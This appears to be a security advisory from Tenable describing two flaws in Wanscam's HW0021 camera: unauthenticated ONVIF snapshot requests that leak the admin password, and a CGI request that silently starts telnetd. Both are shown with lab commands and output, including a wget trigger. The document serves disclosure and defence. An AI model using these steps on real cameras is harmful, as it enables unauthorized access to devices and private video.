[R1] Wanscam Network Camera Multiple Vulnerabiltiies

While investigating Pierre Kim's disclosure, Multiple vulnerabilities found in Wireless IP Camera (P2P) WIFICAM cameras and vulnerabilities in custom http server, Tenable came across a couple of vulnerabilities in Wanscam's HW0021 network camera. These vulnerabilities sound similar to a couple of vulnerabilities FSecure encountered in Foscam devices. Its unclear to Tenable how Foscam and Wanscam are related.

CVE-2017-11510: Administrator Username and Password Disclosure

The ONVIF protocol supports a method called GetSnapshotUri. This method returns a URL that links to the most recent camera snapshot. When the HW0021 replies to a remote unauthenticated user's GetSnapshotUri request it responds with a URL that includes the admin username and password. Here is an example from Nessus' ONVIF implementation:

LobsterTrap:plugin_dev albinolobster$ /Library/Nessus/run/bin/nasl -aWMXr -t 192.168.1.178 ./onvif_get_snapshot.nasl 
----------[ Executing onvif_detect.nbin ]------

The ONVIF service listening on UDP port 3702 advertises
the following information:

Endpoint: http://192.168.1.178:8080/onvif/devices
Name: IPCAM
Model: C6F0SeZ0N0P0L0

audit-trail:success: The service listening on port 3702 has already been identified.
----------[ Finished onvif_detect.nbin ]------
----------[ Executing onvif_get_endpoints.nasl ]------
The ONVIF server on port 8080 supports these services:

http://www.onvif.org/ver20/analytics/wsdl => http://192.168.1.178:8080/onvif/analytics
http://www.onvif.org/ver10/events/wsdl => http://192.168.1.178:8080/onvif/events
http://www.onvif.org/ver10/device/wsdl => http://192.168.1.178:8080/onvif/devices
http://www.onvif.org/ver20/imaging/wsdl => http://192.168.1.178:8080/onvif/imaging
http://www.onvif.org/ver20/ptz/wsdl => http://192.168.1.178:8080/onvif/ptz
http://www.onvif.org/ver10/media/wsdl => http://192.168.1.178:8080/onvif/media

----------[ Finished onvif_get_endpoints.nasl ]------
----------[ Executing ./onvif_get_snapshot.nasl ]------

It was possible to obtain a screenshot from the following URL
on the remote camera: 

http://192.168.1.178:80/web/auto.jpg?-usr=admin&-pwd=cheesedoodle&

----------[ Finished ./onvif_get_snapshot.nasl ]------

You can see the username (admin) and password (cheesedoodle) in the final plugin.

Hidden Telnet Functionality

Telnet is not enabled by default on the device. However, if an authenticated user visits /web/cgi-bin/hi3510/printscreenrequest.cgi then telnetd starts up.

albinolobster@ubuntu:~$ telnet 192.168.1.178
Trying 192.168.1.178...
telnet: Unable to connect to remote host: Connection refused
albinolobster@ubuntu:~$ wget --user admin --password labpass1 http://192.168.1.178/web/cgi-bin/hi3510/printscreenrequest.cgi &> /dev/null
albinolobster@ubuntu:~$ telnet 192.168.1.178
Trying 192.168.1.178...
Connected to 192.168.1.178.
Escape character is '^]'.

IPCamera login: